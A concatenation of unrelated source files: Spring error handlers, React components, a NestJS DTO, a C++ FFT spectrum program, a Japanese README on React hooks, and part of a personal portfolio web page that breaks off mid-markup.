@ExceptionHandler(Throwable.class) @ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR) void handleInternalError(@NonNull final Throwable e) { log.error("uncaught exception while processing the request", e); } @ExceptionHandler(HttpMediaTypeNotSupportedException.class) @ResponseStatus(HttpStatus.UNSUPPORTED_MEDIA_TYPE) void handleHttpMediaTypeNotSupported(@NonNull final HttpMediaTypeNotSupportedException e) { log.trace("http media type not supported", e); } @ExceptionHandler(HttpMediaTypeNotAcceptableException.class) @ResponseStatus(HttpStatus.NOT_ACCEPTABLE) void handleHttpMediaNotAcceptable(@NonNull final HttpMediaTypeNotAcceptableException e) { log.trace("http media not acceptable", e); } @ExceptionHandler(HttpRequestMethodNotSupportedException.class) @ResponseStatus(HttpStatus.METHOD_NOT_ALLOWED) void handleHttpRequestMethodNotSupported(final HttpRequestMethodNotSupportedException e) { log.trace("http method not supported", e); } @ExceptionHandler(NoHandlerFoundException.class) @ResponseStatus(HttpStatus.NOT_FOUND) void handleNotFound(final NoHandlerFoundException e) { log.trace("http handler not found", e); } @ExceptionHandler({ HttpMessageNotReadableException.class, MissingServletRequestParameterException.class, ServletRequestBindingException.class, BindException.class, MissingRequestHeaderException.class, TypeMismatchException.class, MethodArgumentNotValidException.class, ConstraintViolationException.class }) @ResponseStatus(HttpStatus.BAD_REQUEST) void handleBadRequest(final Throwable e) { log.trace("http request is not valid", e); } }
import React from 'react'; import PropTypes from 'prop-types'; import css from './TransactionHistory.module.css'; export const TransactionHistory = ({ transactions }) => ( <table className={css.transaction__history}> <thead> <tr> <th>Type</th> <th>Amount</th> <th>Currency</th> </tr> </thead> <tbody> {transactions.map(transactions => ( <tr key={transactions.id}> <td>{transactions.type}</td> <td>{transactions.amount}</td> <td>{transactions.currency}</td> </tr> ))} </tbody> </table> ); TransactionHistory.propTypes = { transactions: PropTypes.arrayOf( PropTypes.shape({ id: PropTypes.string.isRequired, type: PropTypes.string.isRequired, amount: PropTypes.number.isRequired, currency: PropTypes.string.isRequired, }) ).isRequired, };
import { urlGetAllCER, urlGetAllCERService } from "./../utils/services"; import useFetch from "./../hooks/useFetch"; const GeneralInfo = () => { const { response, isLoading, error } = useFetch( urlGetAllCER, urlGetAllCERService ); console.log(response); return ( <section className="bg-white dark:bg-gray-900"> <div className="py-8 px-4 mx-auto max-w-screen-xl lg:py-16"> <div className="bg-gray-50 dark:bg-gray-800 border border-gray-200 dark:border-gray-700 rounded-lg p-8 md:p-12 mb-8"> <a href="#" className="bg-blue-100 text-blue-800 text-xs font-medium inline-flex items-center px-2.5 py-0.5 rounded-md dark:bg-gray-700 dark:text-blue-400 mb-2" > <svg className="w-2.5 h-2.5 mr-1.5" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 20 14" > <path d="M11 0H2a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h9a2 2 0 0 0 2-2V2a2 2 0 0 0-2-2Zm8.585 1.189a.994.994 0 0 0-.9-.138l-2.965.983a1 1 0 0 0-.685.949v8a1 1 0 0 0 .675.946l2.965 1.02a1.013 1.013 0 0 0 1.032-.242A1 1 0 0 0 20 12V2a1 1 0 0 0-.415-.811Z" /> </svg> Eventos </a> <h1 className="text-gray-900 dark:text-white text-3xl md:text-5xl font-extrabold mb-2"> Puedes revisar los eventos que se han realizado </h1> <div> {Array.isArray(response) && response.length > 0 && response .filter((event) => event.type === "event") .map((event) => ( <div key={event?._id} className="max-w-sm p-2 m-4 bg-white border border-gray-200 rounded-lg shadow dark:bg-gray-800 dark:border-gray-700" > <p className="mt-2 text-gray-600 dark:text-gray-400 text-center"> Nombre: {event?.name} </p> <p className="mt-2 text-gray-600 dark:text-gray-400 text-center"> Descripcion: {event?.description} </p> </div> ))} </div> </div> <div className="grid md:grid-cols-2 gap-8"> <div className="bg-gray-50 dark:bg-gray-800 border border-gray-200 dark:border-gray-700 rounded-lg p-8 md:p-12"> <a href="#" className="bg-green-100 text-green-800 text-xs font-medium inline-flex items-center px-2.5 py-0.5 rounded-md dark:bg-gray-700 dark:text-green-400 mb-2" > <svg className="w-2.5 h-2.5 mr-1.5" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 18 18" > <path d="M17 11h-2.722L8 17.278a5.512 5.512 0 0 1-.9.722H17a1 1 0 0 0 1-1v-5a1 1 0 0 0-1-1ZM6 0H1a1 1 0 0 0-1 1v13.5a3.5 3.5 0 1 0 7 0V1a1 1 0 0 0-1-1ZM3.5 15.5a1 1 0 1 1 0-2 1 1 0 0 1 0 2ZM16.132 4.9 12.6 1.368a1 1 0 0 0-1.414 0L9 3.55v9.9l7.132-7.132a1 1 0 0 0 0-1.418Z" /> </svg> Competencias </a> <h2 className="text-gray-900 dark:text-white text-3xl font-extrabold mb-2"> Competencias </h2> <p className="text-lg font-normal text-gray-500 dark:text-gray-400 mb-4"> Puedes revisar las competencias que se han realizado </p> <div> {Array.isArray(response) && response.length > 0 && response .filter((event) => event.type === "competition") .map((event) => ( <div key={event?._id} className="max-w-sm p-2 m-4 bg-white border border-gray-200 rounded-lg shadow dark:bg-gray-800 dark:border-gray-700" > <p className="mt-2 text-gray-600 dark:text-gray-400 text-center"> Nombre: {event?.name} </p> <p className="mt-2 text-gray-600 dark:text-gray-400 text-center"> Descripcion: {event?.description} </p> </div> ))} </div> </div> <div className="bg-gray-50 dark:bg-gray-800 border border-gray-200 dark:border-gray-700 rounded-lg p-8 md:p-12"> <a href="#" className="bg-purple-100 text-purple-800 text-xs font-medium inline-flex items-center px-2.5 py-0.5 rounded-md dark:bg-gray-700 dark:text-purple-400 mb-2" > <svg className="w-2.5 h-2.5 mr-1.5" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 20 16" > <path stroke="currentColor" strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M5 4 1 8l4 4m10-8 4 4-4 4M11 1 9 15" /> </svg> Rutas </a> <h2 className="text-gray-900 dark:text-white text-3xl font-extrabold mb-2"> Rutas </h2> <p className="text-lg font-normal text-gray-500 dark:text-gray-400 mb-4"> Puedes revisar las rutas que se han realizado </p> <div> {Array.isArray(response) && response.length > 0 && response .filter((event) => event.type === "route") .map((event) => ( <div key={event?._id} className="max-w-sm p-2 m-4 bg-white border border-gray-200 rounded-lg shadow dark:bg-gray-800 dark:border-gray-700" > <p className="mt-2 text-gray-600 dark:text-gray-400 text-center"> Nombre: {event?.name} </p> <p className="mt-2 text-gray-600 dark:text-gray-400 text-center"> Descripcion: {event?.description} </p> </div> ))} </div> </div> </div> </div> </section> ); }; export default GeneralInfo;
import { IsNotEmpty, IsEmail, IsPhoneNumber, IsString } from 'class-validator'; export class createContactDto { @IsString() @IsNotEmpty() name: string; @IsEmail() @IsNotEmpty() email: string; @IsPhoneNumber() phoneNumber?: string; @IsString() @IsNotEmpty() preferedMethod: string; @IsString() @IsNotEmpty() subject: string; @IsString() @IsNotEmpty() message: string; }
#include <iostream> #include <vector> #include <complex> #include<algorithm> #include<iomanip> #include<time.h> #define MINIMP3_IMPLEMENTATION #include "minimp3.h" #include "minimp3_ex.h" using namespace std; const int WIDTH = 4096; const int STEP = 1024; const double pi = acos(-1.0); bool comp(complex<double> a, complex<double> b) { return sqrt(a.real()*a.real() + a.imag() * a.imag()) < sqrt(b.real()*b.real() + b.imag() * b.imag()) ? true : false; } vector<short> decoder() { mp3dec_t mp3d; mp3dec_file_info_t info; if (mp3dec_load(&mp3d, "./music/sample5.mp3", &info, NULL, NULL)) { throw runtime_error("Decode error"); } vector<short> res(info.buffer, info.buffer + info.samples); free(info.buffer); return res; } int bitReversalPermutation(int sz, int a) { int reverse = 0; while (sz > 1) { //bit-reversal because fft: 2n and 2n+1 order reverse = reverse | (a & 1); reverse = reverse << 1; a = a >> 1; sz /= 2; } reverse = reverse >> 1; return reverse; } vector <complex <double>> save(WIDTH); void fastFourier(vector <double>& window, vector <complex <double>>& res_window, complex <double> z, int left, int right) { if (right - left == 0) { int sz = window.size(); int reverse = bitReversalPermutation(sz, left); res_window[right] = window[reverse]; return; } int middle = (right + left) / 2; fastFourier(window, res_window, z * z, left, middle); fastFourier(window, res_window, z * z, middle + 1, right); int sz = right - left + 1; int divis = sz / 2; complex<double> zphase = 1.0; for (int i = 0; i < sz; i++) { save[left + i] = res_window[left + i % divis] + zphase * res_window[middle + 1 + i % divis]; zphase *= z; } for (int i = 0; i < sz; i++) res_window[left + i] = save[left + i]; } void calculateSpectrum(vector<short> sample) { // vector <vector <complex <double>>> spectrum; for (size_t i = 0; i < sample.size() - WIDTH; i += STEP) { vector <double> window(WIDTH); vector <complex <double>> res_window(WIDTH); for (int k = 0; k < WIDTH; k++) { window[k] = sample[i + k] * 0.5 * (1 - cos(2 * pi * k / (WIDTH - 1))); //Henning window } int sz = window.size(); complex <double> z = polar((double)1.0, 2 * pi / sz); //returning complex number by r and phase fastFourier(window, res_window, z, 0, sz - 1); auto x = max_element(res_window.begin(), res_window.end(), comp); // cout<<fixed<<setprecision(10)<<sqrt(x->real()*x->real() + x->imag() * x->imag())<<"\n"; // spectrum.push_back(res_window); } // return spectrum; } int main() { vector<short> sample = decoder(); cout<<"Кол-во отсчётов: "<<sample.size()<<"\n"; // vector <vector <complex <double>>> spectrum = calculateSpectrum(sample); unsigned int start_time = clock(); calculateSpectrum(sample); unsigned int end_time = clock(); unsigned int search_time = end_time - start_time; // искомое время cout<<(double)search_time / CLOCKS_PER_SEC<<"\n"; // for (size_t i = 0; i < spectrum[0].size(); ++i) { // cout<<spectrum[0][i]<<" "; // } // for (size_t i = 0; i < spectrum.size(); ++i) { // auto x = max_element(spectrum[i].begin(), spectrum[i].end(), comp); // cout<<fixed<<setprecision(10)<<sqrt(x->real()*x->real() + x->imag() * x->imag())<<endl; // } }
# README ## 考え方 + UI = f(state)なので、 + fという関数を作ろう -> `const [state, setStateFunc] = useState(initialState);` ## demo ```bash npx create-react-app . npm start ``` # ref + 🌟 useState: 関数コンポーネントでstateを管理(stateの保持と更新)するためのReactフック + 🌟 useEffect: 関数の実行タイミングをReactのレンダリング後まで遅らせるhook + useContext: propsバケツリレーをしなくても下の階層で Contextに収容されているデータにアクセスできる + useReducer: (state, action) => newState という型のreducer を受け取り、現在のstateとdispatch関数の両方を返します。 + useCallback: パフォーマンス向上のためのフックで、メモ化したコールバック関数を返します。 + useMemo: useCallbackは関数自体をメモ化しますが、useMemoは関数の結果を保持します。 + useRef: Classコンポーネント時のref属性の代わりに、useRefを使って要素への参照を行います。内部に保持している値だけを更新したい場合 ```js //const [状態変数, 状態を変更するための関数] = useState(状態の初期値); const [count, setCount] = useState(initialState) // 第二引数の変数に変化があったときだけ第一引数の関数(副作用)を実行する useEffect(() => { /* 第1引数には実行させたい副作用関数を記述*/ console.log('副作用関数が実行されました!') },[依存する変数の配列]) // 第2引数には副作用関数の実行タイミングを制御する依存データを記述 const [state, dispatch] = useReducer(reducer,'初期値') useCallback(callbackFunction, [deps]); ```
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <title>Swaroop korde (Portfolio)</title> <meta content="" name="descriptison"> <meta content="" name="keywords"> <!-- Favicons --> <link href="assets/img/favicon.png" rel="icon"> <link href="assets/img/apple-touch-icon.png" rel="apple-touch-icon"> <!-- Google Fonts --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet"> <!-- Vendor CSS Files --> <link href="assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="assets/vendor/icofont/icofont.min.css" rel="stylesheet"> <link href="assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet"> <link href="assets/vendor/venobox/venobox.css" rel="stylesheet"> <link href="assets/vendor/owl.carousel/assets/owl.carousel.min.css" rel="stylesheet"> <link href="assets/vendor/aos/aos.css" rel="stylesheet"> <!-- Template Main CSS File --> <link href="assets/css/style.css" rel="stylesheet"> </head> <body> <!-- ======= Mobile nav toggle button ======= --> <button type="button" class="mobile-nav-toggle d-xl-none"><i class="icofont-navigation-menu"></i></button> <!-- ======= Header ======= --> <header id="header" class="d-flex flex-column justify-content-center"> <nav class="nav-menu"> <ul> <li class="active"><a href="#hero"><i class="bx bx-home"></i> <span>Home</span></a></li> <li><a href="#about"><i class="bx bx-user"></i> <span>About</span></a></li> <li><a href="#resume"><i class="bx bx-file-blank"></i> <span>Resume</span></a></li> <li><a href="#portfolio"><i class="bx bx-book-content"></i> <span>Portfolio</span></a></li> <li><a href="#services"><i class="bx bx-server"></i> <span>Services</span></a></li> <li><a href="#contact"><i class="bx bx-envelope"></i> <span>Contact</span></a></li> </ul> </nav><!-- .nav-menu --> </header><!-- End Header --> <!-- ======= Hero Section ======= --> <section id="hero" class="d-flex flex-column justify-content-center"> <div class="container" data-aos="zoom-in" data-aos-delay="100"> <h1>Swaroop Korde</h1> <p>I'm <span class="typed" data-typed-items="Web Designer, Developer,Wanderer"></span></p> <div class="social-links"> <a href="https://twitter.com/KordeSwaroop" class="twitter"><i class="bx bxl-twitter"></i></a> <a href="https://www.facebook.com/people/Swaroop-Korde/100009398646598" class="facebook"><i class="bx bxl-facebook"></i></a> <a href="https://www.instagram.com/swaroop_ck/" class="instagram"><i class="bx bxl-instagram"></i></a> <a href="https://www.github.com/SwaroopCK/" class="google-plus"><i class="bx bxl-github"></i></a> <a href="https://www.linkedin.com/in/swaroop-korde-2559801aa " class="linkedin"><i class="bx bxl-linkedin"></i></a> </div> </div> </section><!-- End Hero --> <br> <main id="main"> <!-- ======= About Section ======= --> <section id="about" class="about"> <div class="container" data-aos="fade-up"> <div class="section-title"> <span>About</span> <h2>About</h2> <p></p> </div> <div class="row"> <div class="col-lg-4"> <img src="assets/img/main.jpg" class="img-fluid" alt=""> </div> <div class="col-lg-8 pt-4 pt-lg-0 content"> <h3>Developer</h3> <!--<p class="font-italic"> Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. </p>--> <div class="row"> <div class="col-lg-6"> <ul> <li><i class="icofont-rounded-right"></i> <strong>Birthday:</strong> 28 June 2000</li> <li><i class="icofont-rounded-right"></i> <strong>Website: </strong><a href="https://www.github.com/SwaroopCK">github.com/SwaroopCK</a></li> <li><i class="icofont-rounded-right"></i> <strong>Phone:</strong> +91 8983600137</li> <li><i class="icofont-rounded-right"></i> <strong>City:</strong> Pune , India</li> </ul> </div> <div class="col-lg-6"> <ul> <li><i class="icofont-rounded-right"></i> <strong>Age:</strong> 21</li> <li><i class="icofont-rounded-right"></i> <strong>Degree:</strong> Under Graduate</li> <li><i class="icofont-rounded-right"></i> <strong>Email id:</strong> swaroopkorde@gmail.com</li> <!--<li><i class="icofont-rounded-right"></i> <strong>Freelance:</strong> Available</li>--> </ul> </div> </div> <p>• <strong>Amateur Tabla Player</strong> – Been playing Tabla since the age of 10 years. Completed Course (Participated in table competition held at Balgandharva Rang Mandir )</p> <p>• <strong>Avid enthusiast of Trekking</strong> – Completed prominent treks of Sahyadri Mountains.</p> <p>• <strong>Keen to learn new things</strong> (new programming languages and related applications) </p> </div> </div> </div> </section><!-- End About Section --> <hr> <!-- ======= Facts Section ======= --> <section id="facts" class="facts"> <div class="container" data-aos="fade-up"> <div class="section-title"> <span>FACTS</span> <h2>Facts</h2> <!-- <p>Magnam dolores commodi suscipit. Necessitatibus eius consequatur ex aliquid fuga eum quidem. Sit sint consectetur velit. Quisquam quos quisquam cupiditate. Et nemo qui impedit suscipit alias ea. Quia fugiat sit in iste officiis commodi quidem hic quas.</p>--> </div> <div class="row"> <div class="col-lg-3 col-md-6"> <div class="count-box"> <i class="icofont-simple-smile"></i> <span data-toggle="counter-up">2</span> <p>Happy Clients</p> </div> </div> <div class="col-lg-3 col-md-6 mt-5 mt-md-0"> <div class="count-box"> <i class="icofont-document-folder"></i> <span data-toggle="counter-up">3</span> <p>Projects done</p> </div> </div> <div class="col-lg-3 col-md-6 mt-5 mt-lg-0"> <div class="count-box"> <i class="icofont-workers-group"></i> <span data-toggle="counter-up">150</span> <p>Hours Of support</p> </div> </div> <div class="col-lg-3 col-md-6 mt-5 mt-lg-0"> <div class="count-box"> <i class="icofont-tea"></i> <span data-toggle="counter-up">564</span> <p>Cups of Tea First,because tea is love</p> </div> </div> </div> </div> </section><!-- End Facts Section --> <hr> <!-- ======= Resume Section ======= --> <section id="resume" class="resume"> <div class="container" data-aos="fade-up"> <div class="section-title"> <span>Resume</span> <h2>Resume</h2> <p></p> </div> <div class="row"> <div class="col-lg-6"> <h3 class="resume-title">Sumary</h3> <div class="resume-item pb-0"> <h4>Swaroop Korde</h4> <p><em>Innovative and deadline-driven Web Designer with 3+ years of experience designing and developing different websites using different languages and related apps</em></p> <ul> <li>Pune , Maharashatra , India</li> <li>(+91) 8983600137</li> <li>swaroopkorde@gmail.com</li> </ul> </div> <h3 class="resume-title">Education</h3> <div class="resume-item"> <h4>MASTER IN COMPUTER APPLCIATION</h4> <h5>2020 - 2022</h5> <p><em>Abasaheb Garware college ,Pune</em></p> <p>Pursuing my Masters degree from Abasaheb Garware college.</p> </div> <div class="resume-item"> <h4>BACHELOR IN COMPUTER SCIENCE</h4> <h5>2017 - 2020</h5> <p><em>pune vidyarthi griha (P.V.G) college of science , Pune</em></p> <p>Completed my Bachelors degree from P.V.G. college with some extra-curricular activies.</p> </div> </div> <div class="col-lg-6"> <h3 class="resume-title">Professional Experience</h3> <div class="resume-item"> <h4>Developed a web application for CPU Scheduling</h4> <h5>2019 - 2020</h5> <p><em>PVG , Pune </em></p> <ul> <li>Lead in the design, development, and implementation of the layout, and production communication materials</li> <li>Delegate tasks to the 1 members of the design team and provide counsel on all aspects of the project. </li> <li>Supervise the assessment of all graphic materials in order to ensure quality and accuracy of the design</li> <!--<li>Oversee the efficient use of production project budgets ranging from $2,000 - $25,000</li>--> </ul> </div> <div class="resume-item"> <h4>Certificates</h4> <h5>2017 - 2018</h5> <p><strong>courses: </strong></p> <ul> <li>C</li> <li>C++</li> <li>Java(Core)</li> <li>Cyber Security</li> </ul> </div> </div> </div> </div> </section><!-- End Resume Section --> <hr> <!-- ======= My Skills Section ======= --> <section id="services" class="services"> <div class="container"> <div class="section-title"> <span>Technical Skills</span> <h2>Technical Skills</h2> <p>My technical skills</p> </div> <div class="row"> <!-- <div class=""> --> <div class="card icon-box mb-5 mx-auto col-lg-2" style="width: 18rem;"> <img class="card-img-top card-icon" src="assets/img/technical/c-programming.png" alt="Card image cap"> <div class="card-body"> <h5 class="card-title">C</h5> </div> </div> <!-- </div> --> <div class="card icon-box mb-5 mx-auto col-lg-2" style="width: 18rem;"> <img class="card-img-top card-icon" src="assets/img/technical/cpp.png" alt="Card image cap"> <div class="card-body"> <h5 class="card-title">CPP</h5> </div> </div> <div class="card icon-box mb-5 mx-auto col-lg-2" style="width: 18rem;"> <img class="card-img-top card-icon" src="assets/img/technical/python.png" alt="Card image cap"> <div class="card-body"> <h5 class="card-title">Python</h5> </div> </div> <div class="card icon-box mb-5 mx-auto col-lg-2" style="width: 18rem;"> <img class="card-img-top card-icon" src="assets/img/technical/java.png" alt="Card image cap"> <div class="card-body"> <h5 class="card-title">Java</h5> </div> </div> <!--<div class="card icon-box mb-5 mx-auto col-lg-2" style="width: 18rem;"> <img class="card-img-top card-icon" src="assets/img/technical/django.png" alt="Card image cap"> <div class="card-body"> <h5 class="card-title">Django</h5> </div> </div> </div>--> <div class="row"> <div class="card icon-box mb-5 mx-auto col-lg-2" style="width: 18rem;"> <img class="card-img-top card-icon" src="assets/img/technical/git.png" alt="Card image cap"> <div class="card-body"> <h5 class="card-title">Git</h5> </div> </div> <div class="card icon-box mb-5 mx-auto col-lg-2" style="width: 18rem;"> <img class="card-img-top card-icon" src="assets/img/technical/web.png" alt="Card image cap"> <div class="card-body"> <h5 class="card-title">Front-End</h5> </div> </div> <!--<div class="card icon-box mb-5 mx-auto col-lg-2" style="width: 18rem;"> <img class="card-img-top card-icon" src="assets/img/technical/netlify.png" alt="Card image cap"> <div class="card-body"> <h5 class="card-title">Netlify</h5> </div> </div>--> <div class="card icon-box mb-5 mx-auto col-lg-2" style="width: 18rem;"> <img class="card-img-top card-icon" src="assets/img/technical/ds.png" alt="Card image cap"> <div class="card-body"> <h5 class="card-title">Data Structures</h5> </div> </div> <!--<div class="card icon-box mb-5 mx-auto col-lg-2" style="width: 18rem;"> <img class="card-img-top card-icon" src="assets/img/technical/bootstrap.png" alt="Card image cap"> <div class="card-body"> <h5 class="card-title">Bootstrap</h5> </div> </div> </div>--> <div class="row"> <div class="card icon-box mb-5 mx-auto col-lg-2" style="width: 18rem;"> <img class="card-img-top card-icon" src="assets/img/technical/bash.webp" alt="Card image cap"> <div class="card-body"> <h5 class="card-title">Bash</h5> </div> </div> <div class="card icon-box mb-5 mx-auto col-lg-2" style="width: 18rem;"> <img class="card-img-top card-icon" src="assets/img/technical/vscode.png" alt="Card image cap"> <div class="card-body"> <h5 class="card-title">VS Code</h5> </div> </div> <div class="card icon-box mb-5 mx-auto col-lg-2" style="width: 18rem;"> <img class="card-img-top card-icon" src="assets/img/technical/psql.png" alt="Card image cap"> <div class="card-body"> <h5 class="card-title">Postgres</h5> </div> </div> <div class="card icon-box mb-5 mx-auto col-lg-2" style="width: 18rem;"> <img class="card-img-top card-icon" src="assets/img/technical/mysql.png" alt="Card image cap"> <div class="card-body"> <h5 class="card-title">MySQL</h5> </div> </div> <!--<div class="card icon-box mb-5 mx-auto col-lg-2" style="width: 18rem;"> <img class="card-img-top card-icon" src="assets/img/technical/mongodb.png" alt="Card image cap"> <div class="card-body"> <h5 class="card-title">MongoDB</h5> </div> </div> </div>--> <!-- <div class="row"> <div class="col-md-6 col-lg-3 d-flex align-items-stretch mb-5 mb-lg-0"> <div class="icon-box"> <div class="icon"><i class='bx bxs-data'></i></div> <h4 class="title"><a href="">Database Management</a></h4> <p class="description">Use of appropriate Database Design and implementation</p> </div> </div> <div class="col-md-6 col-lg-3 d-flex align-items-stretch mb-5 mb-lg-0"> <div class="icon-box"> <div class="icon"><i class='bx bx-code-block'></i></div> <h4 class="title"><a href="">Front & Back End</a></h4> <p class="description">Experienced in both Front-End & back-End programming. Sound knowledge in <strong>Data Structures</strong>. </p> </div> </div> <div class="col-md-6 col-lg-3 d-flex align-items-stretch mb-5 mb-lg-0"> <div class="icon-box"> <div class="icon"><i class="bx bx-tachometer"></i></div> <h4 class="title"><a href="">Fast & Reliable</a></h4> <p class="description">Fast and Reliable project delivery with full customer support. You can always count on me!</p> </div> </div> <div class="col-md-6 col-lg-3 d-flex align-items-stretch mb-5 mb-lg-0"> <div class="icon-box"> <div class="icon"><i class='bx bxs-lock'></i></div> <h4 class="title"><a href="">Cyber Security</a></h4> <p class="description">Basic knowledge in Penetration Testing and Cyber Attacks with <strong>Kali Linux</strong>.</p> </div> </div> </div> --> </div> </section><!-- End My Services Section --> <hr> <!-- ======= Testimonials Section ======= --> <section id="testimonials" class="testimonials section-bg"> <div class="container" data-aos="fade-up"> <div class="section-title"> <span>Testimonials</span> <h2>Testimonials</h2> </div> <div class="owl-carousel testimonials-carousel" data-aos="zoom-in" data-aos-delay="100"> <div class="testimonial-item"> <img src="assets/img/testimonials/atharva.jpg" class="testimonial-img" alt=""> <h3>Atharva Bhalerao</h3> <h4>School mate</h4> <p> <i class="bx bxs-quote-alt-left quote-icon-left"></i> Swaroop is Trustworthy friend of mine and Hardworker.He is always there whenever you need him.He gives flexible approch to solve a problem.I am greatful to have such a wonderful person in my life. <i class="bx bxs-quote-alt-right quote-icon-right"></i> </p> </div> <!--<div class="testimonial-item"> <img src="assets/img/testimonials/testimonials-2.jpg" class="testimonial-img" alt=""> <h3>Sara Wilsson</h3> <h4>Designer</h4> <p> <i class="bx bxs-quote-alt-left quote-icon-left"></i> Export tempor illum tamen malis malis eram quae irure esse labore quem cillum quid cillum eram malis quorum velit fore eram velit sunt aliqua noster fugiat irure amet legam anim culpa. <i class="bx bxs-quote-alt-right quote-icon-right"></i> </p> </div> <div class="testimonial-item"> <img src="assets/img/testimonials/testimonials-3.jpg" class="testimonial-img" alt=""> <h3>Jena Karlis</h3> <h4>Store Owner</h4> <p> <i class="bx bxs-quote-alt-left quote-icon-left"></i> Enim nisi quem export duis labore cillum quae magna enim sint quorum nulla quem veniam duis minim tempor labore quem eram duis noster aute amet eram fore quis sint minim. <i class="bx bxs-quote-alt-right quote-icon-right"></i> </p> </div> --> <!--<div class="testimonial-item"> <img src="assets/img/testimonials/testimonials-4.jpg" class="testimonial-img" alt=""> <h3>Matt Brandon</h3> <h4>Freelancer</h4> <p> <i class="bx bxs-quote-alt-left quote-icon-left"></i> Fugiat enim eram quae cillum dolore dolor amet nulla culpa multos export minim fugiat minim velit minim dolor enim duis veniam ipsum anim magna sunt elit fore quem dolore labore illum veniam. <i class="bx bxs-quote-alt-right quote-icon-right"></i> </p> </div> <div class="testimonial-item"> <img src="assets/img/testimonials/testimonials-5.jpg" class="testimonial-img" alt=""> <h3>John Larson</h3> <h4>Entrepreneur</h4> <p> <i class="bx bxs-quote-alt-left quote-icon-left"></i> Quis quorum aliqua sint quem legam fore sunt eram irure aliqua veniam tempor noster veniam enim culpa labore duis sunt culpa nulla illum cillum fugiat legam esse veniam culpa fore nisi cillum quid. <i class="bx bxs-quote-alt-right quote-icon-right"></i> </p> </div> </div> </div>--> </section><!-- End Testimonials Section --> <hr> <!-- ======= Portfolio Section ======= --> <section id="portfolio" class="portfolio section-bg"> <div class="container" data-aos="fade-up"> <div class="section-title"> <span>Portfolio</span> <h2>Portfolio</h2> <p>All Photos</p> </div> <div class="row"> <div class="col-lg-12 d-flex justify-content-center" data-aos="fade-up" data-aos-delay="100"> <ul id="portfolio-flters"> <li data-filter="*" class="filter-active">All</li> <li data-filter=".filter-app">Projects</li> <!--<li data-filter=".filter-card">Card</li>--> <li data-filter=".filter-web">Photos</li> </ul> </div> </div> <div class="row portfolio-container" data-aos="fade-up" data-aos-delay="200"> <div class="col-lg-4 col-md-6 portfolio-item filter-app"> <div class="portfolio-wrap"> <img src="assets/img/portfolio/cpu1.png" class="img-fluid" alt=""> <div class="portfolio-info"> <h4>Main Page</h4> <p>1</p> <div class="portfolio-links"> <a href="assets/img/portfolio/cpu1.png" data-gall="portfolioGallery" class="venobox" title="App 1"><i class="bx bx-plus"></i></a> <a href="#" data-gall="portfolioDetailsGallery" data-vbtype="iframe" class="venobox" title="Portfolio Details"><i class="bx bx-link"></i></a> </div> </div> </div> </div> <div class="col-lg-4 col-md-6 portfolio-item filter-web"> <div class="portfolio-wrap"> <img src="assets/img/portfolio/cpu2.png" class="img-fluid" alt=""> <div class="portfolio-info"> <h4>Algorithm 1</h4> <p>2</p> <div class="portfolio-links"> <a href="assets/img/portfolio/cpu2.png" data-gall="portfolioGallery" class="venobox" title="Web 3"><i class="bx bx-plus"></i></a> <a href="#" data-gall="portfolioDetailsGallery" data-vbtype="iframe" class="venobox" title="Portfolio Details"><i class="bx bx-link"></i></a> </div> </div> </div> </div> <div class="col-lg-4 col-md-6 portfolio-item filter-app"> <div class="portfolio-wrap"> <img src="assets/img/portfolio/cpu3.png" class="img-fluid" alt=""> <div class="portfolio-info"> <h4>Algorithm 2</h4> <p>2</p> <div class="portfolio-links"> <a href="assets/img/portfolio/cpu3.png" data-gall="portfolioGallery" class="venobox" title="App 2"><i class="bx bx-plus"></i></a> <a href="#" data-gall="portfolioDetailsGallery" data-vbtype="iframe" class="venobox" title="Portfolio Details"><i class="bx bx-link"></i></a> </div> </div> </div> </div> <div class="col-lg-4 col-md-6 portfolio-item filter-card"> <div class="portfolio-wrap"> <img src="assets/img/portfolio/tabla.jpg" class="img-fluid" alt=""> <div class="portfolio-info"> <h4>Card 2</h4> <p>Card</p> <div class="portfolio-links"> <a href="assets/img/portfolio/tabla.jpg" data-gall="portfolioGallery" class="venobox" title="Card 2"><i class="bx bx-plus"></i></a> <a href="#" data-gall="portfolioDetailsGallery" data-vbtype="iframe" class="venobox" title="Portfolio Details"><i class="bx bx-link"></i></a> </div> </div> </div> </div> <div class="col-lg-4 col-md-6 portfolio-item filter-web"> <div class="portfolio-wrap"> <img src="assets/img/portfolio/cpu4.png" class="img-fluid" alt=""> <div class="portfolio-info"> <h4>Web 2</h4> <p>Web</p> <div class="portfolio-links"> <a href="assets/img/portfolio/cpu4.png" data-gall="portfolioGallery" class="venobox" title="Web 2"><i class="bx bx-plus"></i></a> <a href="#" data-gall="portfolioDetailsGallery" data-vbtype="iframe" class="venobox" title="Portfolio Details"><i class="bx bx-link"></i></a> </div> </div> </div> </div> <div class="col-lg-4 col-md-6 portfolio-item filter-app"> <div class="portfolio-wrap"> <img src="assets/img/portfolio/photo.jpg" class="img-fluid" alt=""> <div class="portfolio-info"> <h4>App 3</h4> <p>App</p> <div class="portfolio-links"> <a href="assets/img/portfolio/photo.jpg" data-gall="portfolioGallery" class="venobox" title="App 3"><i class="bx bx-plus"></i></a> <a href="#" data-gall="portfolioDetailsGallery" data-vbtype="iframe" class="venobox" title="Portfolio Details"><i class="bx bx-link"></i></a> </div> </div> </div> </div> <div class="col-lg-4 col-md-6 portfolio-item filter-card"> <div class="portfolio-wrap"> <img src="assets/img/portfolio/portfolio-7.jpg" class="img-fluid" alt=""> <div class="portfolio-info"> <h4>Card 1</h4> <p>Card</p> <div class="portfolio-links"> <a href="assets/img/portfolio/portfolio-7.jpg" data-gall="portfolioGallery" class="venobox" title="Card 1"><i class="bx bx-plus"></i></a> <a href="portfolio-details.html" 